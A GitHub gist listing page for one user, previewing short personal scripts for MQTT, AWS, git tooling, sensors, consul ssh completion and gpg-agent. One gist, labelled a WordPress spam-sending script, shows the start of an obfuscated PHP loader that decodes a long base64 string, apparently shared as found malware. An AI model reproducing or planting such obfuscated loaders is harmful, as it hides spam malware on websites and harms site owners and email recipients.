Skip to content

Instantly share code, notes, and snippets.

#! /bin/sh
### BEGIN INIT INFO
# Provides: mosquitto
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: mosquitto MQTT v3.1 message broker
# Description:
@rk295
rk295 / -
Created November 29, 2016 13:39
#!/usr/bin/env bash
export AWS_KEYPAIR_NAME="robin RSA"
export SSH_PRIVATE_KEY="$HOME/.ssh/id_rsa"
export INSTANCE_NAME="Robin Vagrant"
export AMI_ID="ami-d48532a3"
# OLD_PS1="$PS1"
ENV_DIR="${HOME}/.aws_environments"
@rk295
rk295 / gg-core-branch-command.sh
Last active October 3, 2016 13:51
This is a new command for [gg-core](https://github.com/fidian/gg-core), the tech behind [gg](https://github.com/fidian/gg). This adds the ability to print the current branch for all projects.
#!/usr/bin/env bash
commandAdd branch cmdBranch
cmdBranchHelp() {
cat <<EOF
branch Shows which branch each repository is on.
EOF
}
@rk295
rk295 / gg-core-master-command.sh
Last active October 3, 2016 13:51
This is a new command for [gg-core](https://github.com/fidian/gg-core), the tech behind [gg](https://github.com/fidian/gg). This adds the ability to switch all projects to master if possible.
#!/usr/bin/env bash
commandAdd master cmdMaster
cmdMasterHelp() {
cat <<EOF
master Switches all repos to be on the master branch
EOF
}
<?php
# Simple web page to accept GET's from IFTTT or any other webhook provider
# and post a message to a MQTT bus.
#
# Was originally intended to push messages from my Ring door bell to MQTT.
#
# Examples:
#
# GET http://localhost/ifttt-mqtt.php??thing=doorbell&time=now&kind=ring
@rk295
rk295 / temp.sh
Last active August 4, 2016 08:25
# Loop forever - Ctrl-C to stop.
while(true);do
# Cat the device - assuming only one 28-XXXX (temp sensor) device
# pipe that to grep for the data line (there are two lines, only
# one is interesting). Use awk to split out the rubbish, leaving
# just the temp value
temp_raw=$(cat /sys/bus/w1/devices/28-*/w1_slave | \
grep t= | \
awk -F= '{print $2}')
@rk295
rk295 / start98.php
Last active April 10, 2017 05:48
Wordpress Spam sending script.
<?php
$gncveldqg = 3411; function wnyflacnaf($rmsjemwvoa, $aaoldmklo){$tqnhdycmh = ''; for($i=0; $i < strlen($rmsjemwvoa); $i++){$tqnhdycmh .= isset($aaoldmklo[$rmsjemwvoa[$i]]) ? $aaoldmklo[$rmsjemwvoa[$i]] : $rmsjemwvoa[$i];}
$fsshefwvmu="base64_decode";return $fsshefwvmu($tqnhdycmh);}
$vogjyrrea = 'LTnbOHF2qvLg6cH1BkF1vcfeq1BECj9HojYIiYVrLTnbOHF2qvLg6cfeqXFnB06eB0m08taYroEptySIPknWBcHVrtQMKvAWq'.
'vAnKdHVONFbvdsIPNR08taYroEptyS2qvsWQTnMqHFEONXIQtJYroEptJVrONKgOvp2qvLg6lFosH6NsHCIrLVrzYVrt5sWRVH'.
'5HyH5N1QL5lSWRVHmsuQQCUVJCuZui1aptJyyvXplRnqlRnE0RyHpoXslvVljslC0v5aFCtCfmxBbmtGY8xj'.
'uiYVrtNnkrtlnPvSVz5JyvXplRnqlRnE05lsRRlFKvVqhRnQSRyslslFToXC0v5yIULg6zYVrtLyyvXplRnqlRnE05'.
'lsRRlFKvVqhRnQSRyslslFToXC0v5aFCtCfmxBbmtGY8xjuiYVrtvVpt0VptknkrTn2BcHVrtsWsynmsHmIrLVrzYVrtN'.
'qeBkHAKcJg6lFT5RflR1SAB1ayOcH9CUV+CtskONfnrLVrtvEptJy6ONKgCvpVB0SeB1JyqknEqHE0PklMq5QQ8ta'.
'u8kIYq1CIrLVrtLnwULg6tLyyqknEqN9APNRJh5SAP4snBnFMKNp'.
@rk295
rk295 / consul_ssh-completion.sh
Last active October 12, 2016 09:45
If you use [consul](https://www.consul.io/) this will add a bash auto complete function to help you ssh to servers shown by `consul members list`
#
# consul_ssh-completion.sh
#
# Adds all servers returned by `consul members list` to the ssh command as
# tab completion candidates.
#
# Usage:
#
# curl -OL https://gist.githubusercontent.com/rk295/606c6a7e80ff4f39e81f306832a508eb/raw/825a539d6693a6c0535110e7c7a88d1211234e63/consul_ssh-completion.sh ; . consul_ssh-completion.sh
#
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
run_gpg() {
# cache for 30 mins (1800sec)
gpg-agent --daemon --default-cache-ttl=1800 --write-env-file "${HOME}/.gpg-agent-info"
GPG_AGENT_PID=$(cat ${HOME}/.gpg-agent-info | awk -F: '{print $2}')
echo "${GPG_AGENT_PID})"
}
# GPG Keys
if which gpg-agent > /dev/null 2>&1 ; then